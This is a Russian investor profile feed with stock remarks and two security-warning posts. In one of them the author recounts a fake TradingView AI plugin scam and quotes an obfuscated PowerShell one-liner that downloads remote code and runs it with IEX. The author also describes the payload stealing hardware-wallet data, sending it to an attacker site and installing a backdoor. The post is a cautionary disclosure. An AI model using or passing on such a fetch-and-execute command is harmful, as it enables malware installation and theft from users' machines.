24
подписчика
32
подписки
Не является индивидуальной инвестиционной рекомендацией
Посты
Ролики
ahilis
30 июля
TT
TTOKEN
4,5 ₽
0%
T
T
264,82 ₽
-0,02%
ahilis
27 марта 2025
$ROSN видимо все таки на 500 не сегодня так завтра обречены =(
RO
ROSN
502,4 ₽
-35,53%
ahilis
20 марта 2025
$VKCO чего я не совсем понимаю. Общая капа компании 69.2 лярда. 47% во фрифлоате. А допку планируют на 115 лярдов по 324
Это же получается, что даже если отдадут 53% по указанным ценам, то это будет меньше 115 лярдов
VK
VKCO
301,5 ₽
-59,67%
ahilis
4 февраля 2025
Еще немного опыта в области ИБ и лайфхаков как избежать потерь аккаунтов и своих данных.
Когда то по работе поставил себе pixelperfect расширение первое попавшееся на глаза из интернет-магазина chrome. И жил с ним долго. ВК пользовался заходя в него раз в месяц. В какой то момент заметил, что во блоке chrome, которая открывается на F12 во вкладке network постоянно улетают дополнительно запросы на какой-то сторонний ресурс. И как итог у меня увели ВК, сменили телефон там и у меня была долгая эпопея по возврату моего аккаунта.
Произошло это потому что любое браузерное расширение может получать доступ ко всем заполняемым полям в том числе логину и паролю. Ну и вообще ко всему, что может сейчас js с web api. Допустим смотреть видео с камеры ноутбука хорошо, что это не так интересно злоумышленникам да и потребуется разрешение от пользователя, но мы же не всегда смотрим, что там спрашивают)
Лайфхак: браузерные расширения используются обычно для какого то определенного ресурса, но если оно установлено, то по умолчанию добавляет свой код, если его не заблокировать следующим образом: нажимаем правой кнопкой на него -> Расширение может получать доступ к данным сайта и изменять их -> выбираем при нажатии на расширение. А там где нам это нужно расширение проходим тот же путь, но выбираем, что разрешить для этого сайта.
Лайфхак2: можно создавать разные профили. Например, для работы, для отдыха и инвестирования в самом chrome, что тоже даст надежную изоляцию
@Softline_Official
#софтлайнитлайфхак
ahilis
4 февраля 2025
@Softline_Official
#софтлайнитлайфхак
Хотел описать немножко своего недавнего опыта. Повелся на выглядищим правдиво ролик о переводе TradingView в develop режим с добавлением ИИ плагинов (зачем и как на это повелся вопрос хороший и сам не знаю видимо просто попали в нужное время под нужный настрой)
Предлагалось после установки скачать плагин через скрипт. Я его изменил, чтобы не распространять это
powershell -Command "$TradingView='V3'; $InstallPackage='TradingViewDev'; $mode='developer'; $TradingView+$mode+'-AI; $ux='TradingView'; $DEVELOPER='True'; $Response=Invoke-WebRequest -Uri $AI -UseBasicParsing -UserAgent $ux; $Plugin=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Рlugin"
Я что-то лихо подмахнул. Мне ответили, что сервер временно не доступен и попробуйте позже
Но благо я сразу задумался, а почему такая запутанная команда и начал разбираться с ней. В этой команде он скачивает скрипт с сервера и запускает у тебя на компьютере в powershell(по факту ты видишь стандартное ожидание и потом вывод ошибки). Этот скрипт у тебя на компьютере сканирует папки на наличие аппаратных кошельков и отправляет их списком с названием твоего компьютера на сайт злоумышленника developer-update.dev/info2.php, а потом скачивает троян-бэкдор для доступа к твоему компьютеру в тихом режиме, который помещает в AppData/NS/client32.exe и в реестр добавляет его на автозапуск. В конце подчищает следы удаляя все лишнее, чтобы остался необходимый минимум и отправляет сообщение, что сервер занят попробуй позже.
Встроенный антивирусник в винду с последними обновами это скушал и не заметил. VirusTotal показывает, что некоторые антивирусы его палят. Брэндмаузер у меня отключен по рабочим причинам.
В моем случае обошлось, т.к. среагировал сразу отключив инет от этого компа и пошел разбираться с командой на другом
Вывод: досконально проверяйте, что запускаете прежде чем это сделать. Особенно ни в коем случае не запускать скрипты с командой IEX *** это как раз и запускает выполнение стороннего кода на твоей машине
Лайфхак: если сами не можете разобраться, то просите помощи у различных ИИ помощников
Лайфхак2: можно поставить виртуальную ОСь(винду, линь) и тестить сначала там, если есть малейшее подозрение
ahilis
2 сентября 2024
$FIXP Может ли лить кто-то с Казахстанской биржи переводя акции на Московскую биржу? 🤔
потому что это хоть как-то бы подошло к ответу почему это льется. Тут уже не оправдать таким падением, то что индекс падает, т.к. прям в разы больше, а это ритейл и вроде даже без долгов. Новостей плохих нет никаких. ММ тоже странно, что так сильно бы давил без продыха уже 9 месяцев
FI
FIXP
164,7 ₽
-17,49%
ahilis
1 августа 2024
$FIXP Нормальное такое движение. За первые 5 минут торгов 2/3 вчерашнего дневного объема
FI
FIXP
227,2 ₽
-40,18%
ahilis
9 июля 2024
$FIXP очень больно, но продолжаю держать
-177 250 рубликов по этой бумаге
FI
FIXP
222,1 ₽
-38,81%
ahilis
20 марта 2024
@LerkaTrade в ответ решила просто заблокировать. Но в общем люди не ведитесь на такой обман для накрутки себе в канал и засаживания вас. Будьте умнее
$FIXP
Вот пример как это делается)) процент было лень корректно высчитывать)) просто берите на отскоке и подписывайтесь на мой канал 😂
FI
FIXP
297 ₽
-54,24%
ahilis
7 марта 2024
ahilis
6 марта 2024
$FIXP сейчас вы можете наблюдать необычное явление - фикс показывает за день хотя бы небольшой но плюс в середине дня 🙃
FI
FIXP
305,8 ₽
-55,56%
ahilis
29 февраля 2024
$RUAL начали загружаться объемы. Может наконец порастет после лежания на дне =)
RU
RUAL
34,8 ₽
-21,56%